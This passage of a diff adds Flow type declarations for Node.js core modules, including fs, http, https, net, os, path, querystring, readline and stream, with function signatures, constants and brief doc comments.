+    callback?: (err: ?ErrnoError) => void
+  ): void;
+  declare function futimesSync(fd: number, atime: number, mtime: number): void;
+  declare function fsync(
+    fd: number,
+    callback?: (err: ?ErrnoError) => void
+  ): void;
+  declare function fsyncSync(fd: number): void;
+  declare function write(
+    fd: number,
+    buffer: Buffer,
+    offset: number,
+    length: number,
+    position: number,
+    callback: (err: ?ErrnoError, write: number, buf: Buffer) => void
+  ): void;
+  declare function write(
+    fd: number,
+    buffer: Buffer,
+    offset: number,
+    length: number,
+    callback: (err: ?ErrnoError, write: number, buf: Buffer) => void
+  ): void;
+  declare function write(
+    fd: number,
+    buffer: Buffer,
+    offset: number,
+    callback: (err: ?ErrnoError, write: number, buf: Buffer) => void
+  ): void;
+  declare function write(
+    fd: number,
+    buffer: Buffer,
+    callback: (err: ?ErrnoError, write: number, buf: Buffer) => void
+  ): void;
+  declare function write(
+    fd: number,
+    data: string,
+    position: number,
+    encoding: string,
+    callback: (err: ?ErrnoError, write: number, str: string) => void
+  ): void;
+  declare function write(
+    fd: number,
+    data: string,
+    position: number,
+    callback: (err: ?ErrnoError, write: number, str: string) => void
+  ): void;
+  declare function write(
+    fd: number,
+    data: string,
+    callback: (err: ?ErrnoError, write: number, str: string) => void
+  ): void;
+  declare function writeSync(
+    fd: number,
+    buffer: Buffer,
+    offset: number,
+    length: number,
+    position: number
+  ): number;
+  declare function writeSync(
+    fd: number,
+    buffer: Buffer,
+    offset: number,
+    length: number
+  ): number;
+  declare function writeSync(
+    fd: number,
+    buffer: Buffer,
+    offset?: number
+  ): number;
+  declare function writeSync(
+    fd: number,
+    str: string,
+    position: number,
+    encoding: string
+  ): number;
+  declare function writeSync(
+    fd: number,
+    str: string,
+    position?: number
+  ): number;
+  declare function read(
+    fd: number,
+    buffer: Buffer,
+    offset: number,
+    length: number,
+    position: ?number,
+    callback: (err: ?ErrnoError, bytesRead: number, buffer: Buffer) => void
+  ): void;
+  declare function readSync(
+    fd: number,
+    buffer: Buffer,
+    offset: number,
+    length: number,
+    position: number
+  ): number;
+  declare function readFile(
+    path: string | Buffer | URL | number,
+    callback: (err: ?ErrnoError, data: Buffer) => void
+  ): void;
+  declare function readFile(
+    path: string | Buffer | URL | number,
+    encoding: string,
+    callback: (err: ?ErrnoError, data: string) => void
+  ): void;
+  declare function readFile(
+    path: string | Buffer | URL | number,
+    options: {
+      encoding: string,
+      flag?: string,
+      ...
+    },
+    callback: (err: ?ErrnoError, data: string) => void
+  ): void;
+  declare function readFile(
+    path: string | Buffer | URL | number,
+    options: {encoding?: null | void, flag?: string, ...},
+    callback: (err: ?ErrnoError, data: Buffer) => void
+  ): void;
+  declare function readFileSync(path: string | Buffer | URL | number): Buffer;
+  declare function readFileSync(
+    path: string | Buffer | URL | number,
+    encoding: string
+  ): string;
+  declare function readFileSync(
+    path: string | Buffer | URL | number,
+    options: {
+      encoding: string,
+      flag?: string,
+      ...
+    }
+  ): string;
+  declare function readFileSync(
+    path: string | Buffer | URL | number,
+    options: {
+      encoding?: void,
+      flag?: string,
+      ...
+    }
+  ): Buffer;
+  declare function writeFile(
+    filename: string | Buffer | number,
+    data: Buffer | string,
+    options:
+      | string
+      | {
+          encoding?: ?string,
+          mode?: number,
+          flag?: string,
+          ...
+        },
+    callback: (err: ?ErrnoError) => void
+  ): void;
+  declare function writeFile(
+    filename: string | Buffer | number,
+    data: Buffer | string,
+    callback?: (err: ?ErrnoError) => void
+  ): void;
+  declare function writeFileSync(
+    filename: string,
+    data: Buffer | string,
+    options?:
+      | string
+      | {
+          encoding?: ?string,
+          mode?: number,
+          flag?: string,
+          ...
+        }
+  ): void;
+  declare function appendFile(
+    filename: string | Buffer | number,
+    data: string | Buffer,
+    options:
+      | string
+      | {
+          encoding?: ?string,
+          mode?: number,
+          flag?: string,
+          ...
+        },
+    callback: (err: ?ErrnoError) => void
+  ): void;
+  declare function appendFile(
+    filename: string | Buffer | number,
+    data: string | Buffer,
+    callback: (err: ?ErrnoError) => void
+  ): void;
+  declare function appendFileSync(
+    filename: string | Buffer | number,
+    data: string | Buffer,
+    options?:
+      | string
+      | {
+          encoding?: ?string,
+          mode?: number,
+          flag?: string,
+          ...
+        }
+  ): void;
+  declare function watchFile(
+    filename: string,
+    options?: Object,
+    listener?: (curr: Stats, prev: Stats) => void
+  ): void;
+  declare function unwatchFile(
+    filename: string,
+    listener?: (curr: Stats, prev: Stats) => void
+  ): void;
+  declare function watch(
+    filename: string,
+    options?: Object,
+    listener?: (event: string, filename: string) => void
+  ): FSWatcher;
+  declare function exists(
+    path: string,
+    callback?: (exists: boolean) => void
+  ): void;
+  declare function existsSync(path: string): boolean;
+  declare function access(
+    path: string,
+    mode?: number,
+    callback?: (err: ?ErrnoError) => void
+  ): void;
+  declare function accessSync(path: string, mode?: number): void;
+  declare function createReadStream(path: string, options?: Object): ReadStream;
+  declare function createWriteStream(
+    path: string,
+    options?: Object
+  ): WriteStream;
+  declare function fdatasync(
+    fd: number,
+    callback: (err: ?ErrnoError) => void
+  ): void;
+  declare function fdatasyncSync(fd: number): void;
+  declare function copyFile(
+    src: string,
+    dest: string,
+    callback: (err: ErrnoError) => void
+  ): void;
+  declare function copyFile(
+    src: string,
+    dest: string,
+    flags?: number,
+    callback: (err: ErrnoError) => void
+  ): void;
+  declare function copyFileSync(
+    src: string,
+    dest: string,
+    flags?: number
+  ): void;
+
+  declare type GlobOptions<WithFileTypes: boolean> = $ReadOnly<{
+    /**
+     * Current working directory.
+     * @default process.cwd()
+     */
+    cwd?: string | void,
+    /**
+     * `true` if the glob should return paths as `Dirent`s, `false` otherwise.
+     * @default false
+     * @since v22.2.0
+     */
+    withFileTypes?: WithFileTypes,
+    /**
+     * Function to filter out files/directories or a
+     * list of glob patterns to be excluded. If a function is provided, return
+     * `true` to exclude the item, `false` to include it.
+     * @default undefined
+     */
+    exclude?:
+      | ((fileName: Node$Conditional<WithFileTypes, Dirent, string>) => boolean)
+      | $ReadOnlyArray<string>,
+    ...
+  }>;
+
+  /**
+   * Retrieves the files matching the specified pattern.
+   *
+   * ```js
+   * import { glob } from 'node:fs';
+   *
+   * glob('*.js', (err, matches) => {
+   *   if (err) throw err;
+   *   console.log(matches);
+   * });
+   * ```
+   * @since v22.0.0
+   */
+  declare function glob(
+    pattern: string | $ReadOnlyArray<string>,
+    callback: (err: ?ErrnoError, matches: Array<string>) => void
+  ): void;
+
+  declare function glob<WithFileTypes: boolean = false>(
+    pattern: string | $ReadOnlyArray<string>,
+    options: GlobOptions<WithFileTypes>,
+    callback: (
+      err: ?ErrnoError,
+      matches: Node$Conditional<WithFileTypes, Array<Dirent>, Array<string>>
+    ) => void
+  ): void;
+
+  /**
+   * ```js
+   * import { globSync } from 'node:fs';
+   *
+   * console.log(globSync('*.js'));
+   * ```
+   * @since v22.0.0
+   * @returns paths of files that match the pattern.
+   */
+  declare function globSync<WithFileTypes: boolean = false>(
+    pattern: string | $ReadOnlyArray<string>,
+    options?: GlobOptions<WithFileTypes>
+  ): Node$Conditional<WithFileTypes, Array<Dirent>, Array<string>>;
+
+  declare var F_OK: number;
+  declare var R_OK: number;
+  declare var W_OK: number;
+  declare var X_OK: number;
+  // new var from node 6.x
+  // https://nodejs.org/dist/latest-v6.x/docs/api/fs.html#fs_fs_constants_1
+  declare var constants: {
+    F_OK: number, // 0
+    R_OK: number, // 4
+    W_OK: number, // 2
+    X_OK: number, // 1
+    COPYFILE_EXCL: number, // 1
+    COPYFILE_FICLONE: number, // 2
+    COPYFILE_FICLONE_FORCE: number, // 4
+    O_RDONLY: number, // 0
+    O_WRONLY: number, // 1
+    O_RDWR: number, // 2
+    S_IFMT: number, // 61440
+    S_IFREG: number, // 32768
+    S_IFDIR: number, // 16384
+    S_IFCHR: number, // 8192
+    S_IFBLK: number, // 24576
+    S_IFIFO: number, // 4096
+    S_IFLNK: number, // 40960
+    S_IFSOCK: number, // 49152
+    O_CREAT: number, // 64
+    O_EXCL: number, // 128
+    O_NOCTTY: number, // 256
+    O_TRUNC: number, // 512
+    O_APPEND: number, // 1024
+    O_DIRECTORY: number, // 65536
+    O_NOATIME: number, // 262144
+    O_NOFOLLOW: number, // 131072
+    O_SYNC: number, // 1052672
+    O_DSYNC: number, // 4096
+    O_SYMLINK: number, // 2097152
+    O_DIRECT: number, // 16384
+    O_NONBLOCK: number, // 2048
+    S_IRWXU: number, // 448
+    S_IRUSR: number, // 256
+    S_IWUSR: number, // 128
+    S_IXUSR: number, // 64
+    S_IRWXG: number, // 56
+    S_IRGRP: number, // 32
+    S_IWGRP: number, // 16
+    S_IXGRP: number, // 8
+    S_IRWXO: number, // 7
+    S_IROTH: number, // 4
+    S_IWOTH: number, // 2
+    S_IXOTH: number, // 1
+    ...
+  };
+
+  declare type BufferEncoding = 'buffer' | {encoding: 'buffer', ...};
+  declare type EncodingOptions = {encoding?: string, ...};
+  declare type EncodingFlag = EncodingOptions & {flag?: string, ...};
+  declare type WriteOptions = EncodingFlag & {mode?: number, ...};
+  declare type RemoveOptions = {
+    force?: boolean,
+    maxRetries?: number,
+    recursive?: boolean,
+    retryDelay?: number,
+    ...
+  };
+  declare class FileHandle {
+    appendFile(
+      data: string | Buffer,
+      options: WriteOptions | string
+    ): Promise<void>;
+    chmod(mode: number): Promise<void>;
+    chown(uid: number, guid: number): Promise<void>;
+    close(): Promise<void>;
+    datasync(): Promise<void>;
+    fd: number;
+    read<T: Buffer | Uint8Array>(
+      buffer: T,
+      offset: number,
+      length: number,
+      position: number
+    ): Promise<{
+      bytesRead: number,
+      buffer: T,
+      ...
+    }>;
+    readFile(options: EncodingFlag): Promise<Buffer>;
+    readFile(options: string): Promise<string>;
+    stat(): Promise<Stats>;
+    sync(): Promise<void>;
+    truncate(len?: number): Promise<void>;
+    utimes(
+      atime: number | string | Date,
+      mtime: number | string | Date
+    ): Promise<void>;
+    write(
+      buffer: Buffer | Uint8Array,
+      offset: number,
+      length: number,
+      position: number
+    ): Promise<void>;
+    writeFile(
+      data: string | Buffer | Uint8Array,
+      options: WriteOptions | string
+    ): Promise<void>;
+  }
+
+  declare type FSPromisePath = string | Buffer | URL;
+  declare type FSPromise = {
+    access(path: FSPromisePath, mode?: number): Promise<void>,
+    appendFile(
+      path: FSPromisePath | FileHandle,
+      data: string | Buffer,
+      options?: WriteOptions | string
+    ): Promise<void>,
+    chmod(path: FSPromisePath, mode: number): Promise<void>,
+    chown(path: FSPromisePath, uid: number, gid: number): Promise<void>,
+    copyFile(
+      src: FSPromisePath,
+      dest: FSPromisePath,
+      flags?: number
+    ): Promise<void>,
+    fchmod(filehandle: FileHandle, mode: number): Promise<void>,
+    fchown(filehandle: FileHandle, uid: number, guid: number): Promise<void>,
+    fdatasync(filehandle: FileHandle): Promise<void>,
+    fstat(filehandle: FileHandle): Promise<Stats>,
+    fsync(filehandle: FileHandle): Promise<void>,
+    ftruncate(filehandle: FileHandle, len?: number): Promise<void>,
+    futimes(
+      filehandle: FileHandle,
+      atime: number | string | Date,
+      mtime: number | string | Date
+    ): Promise<void>,
+    lchmod(path: FSPromisePath, mode: number): Promise<void>,
+    glob<WithFileTypes: boolean = false>(
+      pattern: string | $ReadOnlyArray<string>,
+      options?: GlobOptions<WithFileTypes>
+    ): Node$Conditional<
+      WithFileTypes,
+      AsyncIterator<Dirent>,
+      AsyncIterator<string>,
+    >,
+    lchown(path: FSPromisePath, uid: number, guid: number): Promise<void>,
+    link(existingPath: FSPromisePath, newPath: FSPromisePath): Promise<void>,
+    lstat(path: FSPromisePath): Promise<Stats>,
+    mkdir(
+      path: FSPromisePath,
+      mode?:
+        | number
+        | {
+            recursive?: boolean,
+            mode?: number,
+            ...
+          }
+    ): Promise<void>,
+    mkdtemp(prefix: string, options?: EncodingOptions): Promise<string>,
+    open(
+      path: FSPromisePath,
+      flags?: string | number,
+      mode?: number
+    ): Promise<FileHandle>,
+    read<T: Buffer | Uint8Array>(
+      filehandle: FileHandle,
+      buffer: T,
+      offset: number,
+      length: number,
+      position?: number
+    ): Promise<{
+      bytesRead: number,
+      buffer: T,
+      ...
+    }>,
+    readdir: ((
+      path: FSPromisePath,
+      options: string | {encoding?: string, withFileTypes?: false, ...}
+    ) => Promise<Array<string>>) &
+      ((
+        path: FSPromisePath,
+        options: {encoding?: string, withFileTypes: true, ...}
+      ) => Promise<Array<Dirent>>) &
+      ((path: FSPromisePath) => Promise<Array<string>>),
+    readFile: ((
+      path: FSPromisePath | FileHandle,
+      options: string
+    ) => Promise<string>) &
+      ((
+        path: FSPromisePath | FileHandle,
+        options?: EncodingFlag
+      ) => Promise<Buffer>),
+    readlink: ((
+      path: FSPromisePath,
+      options: BufferEncoding
+    ) => Promise<Buffer>) &
+      ((
+        path: FSPromisePath,
+        options?: string | EncodingOptions
+      ) => Promise<string>),
+    realpath: ((
+      path: FSPromisePath,
+      options: BufferEncoding
+    ) => Promise<Buffer>) &
+      ((
+        path: FSPromisePath,
+        options?: string | EncodingOptions
+      ) => Promise<string>),
+    rename(oldPath: FSPromisePath, newPath: FSPromisePath): Promise<void>,
+    rm(path: FSPromisePath, options?: RemoveOptions): Promise<void>,
+    rmdir(path: FSPromisePath): Promise<void>,
+    stat(path: FSPromisePath): Promise<Stats>,
+    symlink(
+      target: FSPromisePath,
+      path: FSPromisePath,
+      type?: 'dir' | 'file' | 'junction'
+    ): Promise<void>,
+    truncate(path: FSPromisePath, len?: number): Promise<void>,
+    unlink(path: FSPromisePath): Promise<void>,
+    utimes(
+      path: FSPromisePath,
+      atime: number | string | Date,
+      mtime: number | string | Date
+    ): Promise<void>,
+    write<T: Buffer | Uint8Array>(
+      filehandle: FileHandle,
+      buffer: T,
+      offset: number,
+      length: number,
+      position?: number
+    ): Promise<{
+      bytesRead: number,
+      buffer: T,
+      ...
+    }>,
+    writeFile(
+      FSPromisePath | FileHandle,
+      data: string | Buffer | Uint8Array,
+      options?: string | WriteOptions
+    ): Promise<void>,
+    ...
+  };
+
+  declare var promises: FSPromise;
+}
+
+type http$agentOptions = {
+  keepAlive?: boolean,
+  keepAliveMsecs?: number,
+  maxSockets?: number,
+  maxFreeSockets?: number,
+  ...
+};
+
+declare class http$Agent<+SocketT = net$Socket> {
+  constructor(options: http$agentOptions): void;
+  destroy(): void;
+  freeSockets: {[name: string]: $ReadOnlyArray<SocketT>, ...};
+  getName(options: {
+    host: string,
+    port: number,
+    localAddress: string,
+    ...
+  }): string;
+  maxFreeSockets: number;
+  maxSockets: number;
+  requests: {[name: string]: $ReadOnlyArray<http$ClientRequest<SocketT>>, ...};
+  sockets: {[name: string]: $ReadOnlyArray<SocketT>, ...};
+}
+
+declare class http$IncomingMessage<SocketT = net$Socket>
+  extends stream$Readable
+{
+  headers: Object;
+  rawHeaders: Array<string>;
+  httpVersion: string;
+  method: string;
+  trailers: Object;
+  setTimeout(msecs: number, callback: Function): void;
+  socket: SocketT;
+  statusCode: number;
+  statusMessage: string;
+  url: string;
+  aborted: boolean;
+  complete: boolean;
+  rawTrailers: Array<string>;
+}
+
+declare class http$ClientRequest<+SocketT = net$Socket>
+  extends stream$Writable
+{
+  abort(): void;
+  aborted: boolean;
+  +connection: SocketT | null;
+  flushHeaders(): void;
+  getHeader(name: string): string;
+  removeHeader(name: string): void;
+  setHeader(name: string, value: string | Array<string>): void;
+  setNoDelay(noDelay?: boolean): void;
+  setSocketKeepAlive(enable?: boolean, initialDelay?: number): void;
+  setTimeout(msecs: number, callback?: Function): void;
+  +socket: SocketT | null;
+}
+
+declare class http$ServerResponse extends stream$Writable {
+  addTrailers(headers: {[key: string]: string, ...}): void;
+  connection: net$Socket;
+  finished: boolean;
+  flushHeaders(): void;
+  getHeader(name: string): string;
+  getHeaderNames(): Array<string>;
+  getHeaders(): {[key: string]: string | Array<string>, ...};
+  hasHeader(name: string): boolean;
+  headersSent: boolean;
+  removeHeader(name: string): void;
+  sendDate: boolean;
+  setHeader(name: string, value: string | Array<string>): void;
+  setTimeout(msecs: number, callback?: Function): http$ServerResponse;
+  socket: net$Socket;
+  statusCode: number;
+  statusMessage: string;
+  writeContinue(): void;
+  writeHead(
+    status: number,
+    statusMessage?: string,
+    headers?: {[key: string]: string, ...}
+  ): void;
+  writeHead(status: number, headers?: {[key: string]: string, ...}): void;
+  writeProcessing(): void;
+}
+
+declare class http$Server extends net$Server {
+  listen(
+    port?: number,
+    hostname?: string,
+    backlog?: number,
+    callback?: Function
+  ): this;
+  // The following signatures are added to allow omitting intermediate arguments
+  listen(port?: number, backlog?: number, callback?: Function): this;
+  listen(port?: number, hostname?: string, callback?: Function): this;
+  listen(port?: number, callback?: Function): this;
+  listen(path: string, callback?: Function): this;
+  listen(
+    handle: {
+      port?: number,
+      host?: string,
+      path?: string,
+      backlog?: number,
+      exclusive?: boolean,
+      readableAll?: boolean,
+      writableAll?: boolean,
+      ipv6Only?: boolean,
+      ...
+    },
+    callback?: Function
+  ): this;
+  listening: boolean;
+  close(callback?: (error: ?Error) => mixed): this;
+  closeAllConnections(): void;
+  closeIdleConnections(): void;
+  maxHeadersCount: number;
+  keepAliveTimeout: number;
+  headersTimeout: number;
+  setTimeout(msecs: number, callback: Function): this;
+  timeout: number;
+}
+
+declare class https$Server extends tls$Server {
+  listen(
+    port?: number,
+    hostname?: string,
+    backlog?: number,
+    callback?: Function
+  ): this;
+  // The following signatures are added to allow omitting intermediate arguments
+  listen(port?: number, backlog?: number, callback?: Function): this;
+  listen(port?: number, hostname?: string, callback?: Function): this;
+  listen(port?: number, callback?: Function): this;
+  listen(path: string, callback?: Function): this;
+  listen(
+    handle: {
+      port?: number,
+      host?: string,
+      path?: string,
+      backlog?: number,
+      exclusive?: boolean,
+      readableAll?: boolean,
+      writableAll?: boolean,
+      ipv6Only?: boolean,
+      ...
+    },
+    callback?: Function
+  ): this;
+  close(callback?: (error: ?Error) => mixed): this;
+  closeAllConnections(): void;
+  closeIdleConnections(): void;
+  keepAliveTimeout: number;
+  headersTimeout: number;
+  setTimeout(msecs: number, callback: Function): this;
+  timeout: number;
+}
+
+type requestOptions = {|
+  auth?: string,
+  defaultPort?: number,
+  family?: number,
+  headers?: {[key: string]: mixed, ...},
+  host?: string,
+  hostname?: string,
+  localAddress?: string,
+  method?: string,
+  path?: string,
+  port?: number,
+  protocol?: string,
+  setHost?: boolean,
+  socketPath?: string,
+  timeout?: number,
+|};
+
+type http$requestOptions = {
+  ...requestOptions,
+  agent?: boolean | http$Agent<net$Socket>,
+  createConnection?: (
+    options: net$connectOptions,
+    callback?: Function
+  ) => net$Socket,
+  ...
+};
+
+declare module 'http' {
+  declare class Server extends http$Server {}
+  declare class Agent extends http$Agent<net$Socket> {
+    createConnection(
+      options: net$connectOptions,
+      callback?: Function
+    ): net$Socket;
+  }
+  declare class ClientRequest extends http$ClientRequest<net$Socket> {}
+  declare class IncomingMessage extends http$IncomingMessage<net$Socket> {}
+  declare class ServerResponse extends http$ServerResponse {}
+
+  declare function createServer(
+    requestListener?: (
+      request: IncomingMessage,
+      response: ServerResponse
+    ) => void
+  ): Server;
+  declare function request(
+    options: http$requestOptions,
+    callback?: (response: IncomingMessage) => void
+  ): ClientRequest;
+  declare function request(
+    url: string,
+    options?: http$requestOptions,
+    callback?: (response: IncomingMessage) => void
+  ): ClientRequest;
+  declare function get(
+    options: http$requestOptions,
+    callback?: (response: IncomingMessage) => void
+  ): ClientRequest;
+  declare function get(
+    url: string,
+    options?: http$requestOptions,
+    callback?: (response: IncomingMessage) => void
+  ): ClientRequest;
+
+  declare var METHODS: Array<string>;
+  declare var STATUS_CODES: {[key: number]: string, ...};
+  declare var globalAgent: Agent;
+}
+
+type https$requestOptions = {
+  ...requestOptions,
+  agent?: boolean | http$Agent<tls$TLSSocket>,
+  createConnection?: (
+    options: tls$connectOptions,
+    callback?: Function
+  ) => tls$TLSSocket,
+  ...
+};
+
+declare module 'https' {
+  declare class Server extends https$Server {}
+  declare class Agent extends http$Agent<tls$TLSSocket> {
+    createConnection(
+      port: ?number,
+      host: ?string,
+      options: tls$connectOptions
+    ): tls$TLSSocket;
+    createConnection(port: ?number, options: tls$connectOptions): tls$TLSSocket;
+    createConnection(options: tls$connectOptions): tls$TLSSocket;
+  }
+
+  declare class ClientRequest extends http$ClientRequest<tls$TLSSocket> {}
+  declare class IncomingMessage extends http$IncomingMessage<tls$TLSSocket> {}
+  declare class ServerResponse extends http$ServerResponse {}
+
+  declare function createServer(
+    options: Object,
+    requestListener?: (
+      request: IncomingMessage,
+      response: ServerResponse
+    ) => void
+  ): Server;
+  declare function request(
+    options: https$requestOptions,
+    callback?: (response: IncomingMessage) => void
+  ): ClientRequest;
+  declare function request(
+    url: string,
+    options?: https$requestOptions,
+    callback?: (response: IncomingMessage) => void
+  ): ClientRequest;
+  declare function get(
+    options: https$requestOptions,
+    callback?: (response: IncomingMessage) => void
+  ): ClientRequest;
+  declare function get(
+    url: string,
+    options?: https$requestOptions,
+    callback?: (response: IncomingMessage) => void
+  ): ClientRequest;
+
+  declare var globalAgent: Agent;
+}
+
+type module$Module = {
+  builtinModules: Array<string>,
+  createRequire(filename: string | URL): typeof require,
+  syncBuiltinESMExports(): void,
+  Module: module$Module,
+  ...
+};
+
+declare module 'module' {
+  declare module.exports: module$Module;
+}
+
+declare class net$Socket extends stream$Duplex {
+  constructor(options?: Object): void;
+  address(): net$Socket$address;
+  bufferSize: number;
+  bytesRead: number;
+  bytesWritten: number;
+  connect(path: string, connectListener?: () => mixed): net$Socket;
+  connect(
+    port: number,
+    host?: string,
+    connectListener?: () => mixed
+  ): net$Socket;
+  connect(port: number, connectListener?: () => mixed): net$Socket;
+  connect(options: Object, connectListener?: () => mixed): net$Socket;
+  destroyed: boolean;
+  end(
+    chunkOrEncodingOrCallback?:
+      | Buffer
+      | Uint8Array
+      | string
+      | ((data: any) => void),
+    encodingOrCallback?: string | ((data: any) => void),
+    callback?: (data: any) => void
+  ): this;
+  localAddress: string;
+  localPort: number;
+  pause(): this;
+  ref(): this;
+  remoteAddress: string | void;
+  remoteFamily: string;
+  remotePort: number;
+  resume(): this;
+  setEncoding(encoding?: string): this;
+  setKeepAlive(enable?: boolean, initialDelay?: number): this;
+  setNoDelay(noDelay?: boolean): this;
+  setTimeout(timeout: number, callback?: Function): this;
+  unref(): this;
+  write(
+    chunk: Buffer | Uint8Array | string,
+    encodingOrCallback?: string | ((data: any) => void),
+    callback?: (data: any) => void
+  ): boolean;
+}
+
+declare class net$Server extends events$EventEmitter {
+  listen(
+    port?: number,
+    hostname?: string,
+    backlog?: number,
+    callback?: Function
+  ): net$Server;
+  listen(path: string, callback?: Function): net$Server;
+  listen(handle: Object, callback?: Function): net$Server;
+  listening: boolean;
+  close(callback?: Function): net$Server;
+  address(): net$Socket$address;
+  connections: number;
+  maxConnections: number;
+  getConnections(callback: Function): void;
+  ref(): net$Server;
+  unref(): net$Server;
+}
+
+type net$connectOptions = {
+  port?: number,
+  host?: string,
+  localAddress?: string,
+  localPort?: number,
+  family?: number,
+  lookup?: (
+    domain: string,
+    options?: ?number | ?Object,
+    callback?: (err: ?Error, address: string, family: number) => void
+  ) => mixed,
+  path?: string,
+  ...
+};
+
+declare module 'net' {
+  declare class Server extends net$Server {}
+  declare class Socket extends net$Socket {}
+
+  declare function isIP(input: string): number;
+  declare function isIPv4(input: string): boolean;
+  declare function isIPv6(input: string): boolean;
+
+  declare type connectionListener = (socket: Socket) => any;
+  declare function createServer(
+    options?:
+      | {
+          allowHalfOpen?: boolean,
+          pauseOnConnect?: boolean,
+          ...
+        }
+      | connectionListener,
+    connectionListener?: connectionListener
+  ): Server;
+
+  declare type connectListener = () => any;
+  declare function connect(
+    pathOrPortOrOptions: string | number | net$connectOptions,
+    hostOrConnectListener?: string | connectListener,
+    connectListener?: connectListener
+  ): Socket;
+
+  declare function createConnection(
+    pathOrPortOrOptions: string | number | net$connectOptions,
+    hostOrConnectListener?: string | connectListener,
+    connectListener?: connectListener
+  ): Socket;
+}
+
+type os$CPU = {
+  model: string,
+  speed: number,
+  times: {
+    idle: number,
+    irq: number,
+    nice: number,
+    sys: number,
+    user: number,
+    ...
+  },
+  ...
+};
+
+type os$NetIFAddr = {
+  address: string,
+  family: string,
+  internal: boolean,
+  mac: string,
+  netmask: string,
+  ...
+};
+
+type os$UserInfo$buffer = {
+  uid: number,
+  gid: number,
+  username: Buffer,
+  homedir: Buffer,
+  shell: ?Buffer,
+  ...
+};
+
+type os$UserInfo$string = {
+  uid: number,
+  gid: number,
+  username: string,
+  homedir: string,
+  shell: ?string,
+  ...
+};
+
+declare module 'os' {
+  declare function arch(): 'x64' | 'arm' | 'ia32';
+  declare function availableParallelism(): number;
+  declare function cpus(): Array<os$CPU>;
+  declare function endianness(): 'BE' | 'LE';
+  declare function freemem(): number;
+  declare function homedir(): string;
+  declare function hostname(): string;
+  declare function loadavg(): [number, number, number];
+  declare function networkInterfaces(): {
+    [ifName: string]: Array<os$NetIFAddr>,
+    ...
+  };
+  declare function platform(): string;
+  declare function release(): string;
+  declare function tmpdir(): string;
+  declare function totalmem(): number;
+  declare function type(): string;
+  declare function uptime(): number;
+  declare function userInfo(options: {
+    encoding: 'buffer',
+    ...
+  }): os$UserInfo$buffer;
+  declare function userInfo(options?: {
+    encoding: 'utf8',
+    ...
+  }): os$UserInfo$string;
+  declare var EOL: string;
+}
+
+declare module 'path' {
+  declare function normalize(path: string): string;
+  declare function join(...parts: Array<string>): string;
+  declare function resolve(...parts: Array<string>): string;
+  declare function isAbsolute(path: string): boolean;
+  declare function relative(from: string, to: string): string;
+  declare function dirname(path: string): string;
+  declare function basename(path: string, ext?: string): string;
+  declare function extname(path: string): string;
+  declare var sep: string;
+  declare var delimiter: string;
+  declare function parse(pathString: string): {
+    root: string,
+    dir: string,
+    base: string,
+    ext: string,
+    name: string,
+    ...
+  };
+  declare function format(pathObject: {
+    root?: string,
+    dir?: string,
+    base?: string,
+    ext?: string,
+    name?: string,
+    ...
+  }): string;
+  declare var posix: any;
+  declare var win32: any;
+}
+
+declare module 'punycode' {
+  declare function decode(string: string): string;
+  declare function encode(string: string): string;
+  declare function toASCII(domain: string): string;
+  declare function toUnicode(domain: string): string;
+  declare var ucs2: {
+    decode: (str: string) => Array<number>,
+    encode: (codePoints: Array<number>) => string,
+    ...
+  };
+  declare var version: string;
+}
+
+declare module 'querystring' {
+  declare function stringify(
+    obj: Object,
+    separator?: string,
+    equal?: string,
+    options?: {encodeURIComponent?: (str: string) => string, ...}
+  ): string;
+  declare function parse(
+    str: string,
+    separator: ?string,
+    equal: ?string,
+    options?: {
+      decodeURIComponent?: (str: string) => string,
+      maxKeys?: number,
+      ...
+    }
+  ): any;
+  declare function escape(str: string): string;
+  declare function unescape(str: string, decodeSpaces?: boolean): string;
+}
+
+type readline$InterfaceCompleter = (
+  line: string
+) =>
+  | [Array<string>, string]
+  | ((
+      line: string,
+      ((err: ?Error, data: [Array<string>, string]) => void)
+    ) => void);
+
+declare class readline$Interface extends events$EventEmitter {
+  close(): void;
+  pause(): void;
+  prompt(preserveCursor?: boolean): void;
+  question(
+    query: string,
+    optionsOrCallback: {|signal?: AbortSignal|} | ((answer: string) => void),
+    callback?: (answer: string) => void
+  ): void;
+  resume(): void;
+  setPrompt(prompt: string): void;
+  write(
+    val: string | void | null,
+    key?: {
+      name: string,
+      ctrl?: boolean,
+      shift?: boolean,
+      meta?: boolean,
+      ...
+    }
+  ): void;
+  @@asyncIterator(): AsyncIterator<string>;
+}
+
+declare module 'readline' {
+  declare var Interface: typeof readline$Interface;
+  declare function clearLine(
+    stream: stream$Stream,
+    dir: -1 | 1 | 0,
+    callback?: () => void
+  ): void;
+  declare function clearScreenDown(
+    stream: stream$Stream,
+    callback?: () => void
+  ): void;
+  declare function createInterface(opts: {
+    completer?: readline$InterfaceCompleter,
+    crlfDelay?: number,
+    escapeCodeTimeout?: number,
+    historySize?: number,
+    input: stream$Readable,
+    output?: ?stream$Stream,
+    prompt?: string,
+    removeHistoryDuplicates?: boolean,
+    terminal?: boolean,
+    ...
+  }): readline$Interface;
+  declare function cursorTo(
+    stream: stream$Stream,
+    x?: number,
+    y?: number,
+    callback?: () => void
+  ): void;
+  declare function moveCursor(
+    stream: stream$Stream,
+    dx: number,
+    dy: number,
+    callback?: () => void
+  ): void;
+  declare function emitKeypressEvents(
+    stream: stream$Stream,
+    readlineInterface?: readline$Interface
+  ): void;
+}
+
+declare class stream$Stream extends events$EventEmitter {}
+
+type readableStreamOptions = {
+  highWaterMark?: number,
+  encoding?: string,
+  objectMode?: boolean,
+  read?: (size: number) => void,
+  destroy?: (error: ?Error, callback: (error?: Error) => void) => void,
+  autoDestroy?: boolean,
+  ...
+};
+declare class stream$Readable extends stream$Stream {
+  static from(
+    iterable: Iterable<any> | AsyncIterable<any>,
+    options?: readableStreamOptions
+  ): stream$Readable;
+
+  constructor(options?: readableStreamOptions): void;
+  destroy(error?: Error): this;
+  isPaused(): boolean;
+  pause(): this;
+  pipe<T: stream$Writable>(dest: T, options?: {end?: boolean, ...}): T;
+  read(size?: number): ?(string | Buffer);
+  readable: boolean;
+  readableHighWaterMark: number;
+  readableLength: number;
+  resume(): this;
+  setEncoding(encoding: string): this;
+  unpipe(dest?: stream$Writable): this;
+  unshift(chunk: Buffer | Uint8Array | string): void;
+  wrap(oldReadable: stream$Stream): this;
+  _read(size: number): void;
+  _destroy(error: ?Error, callback: (error?: Error) => void): void;
+  push(chunk: ?(Buffer | Uint8Array | string), encoding?: string): boolean;
+  @@asyncIterator(): AsyncIterator<string | Buffer>;
+}
+
+type writableStreamOptions = {
+  highWaterMark?: number,
+  decodeStrings?: boolean,
+  defaultEncoding?: string,
+  objectMode?: boolean,
+  emitClose?: boolean,
+  write?: (
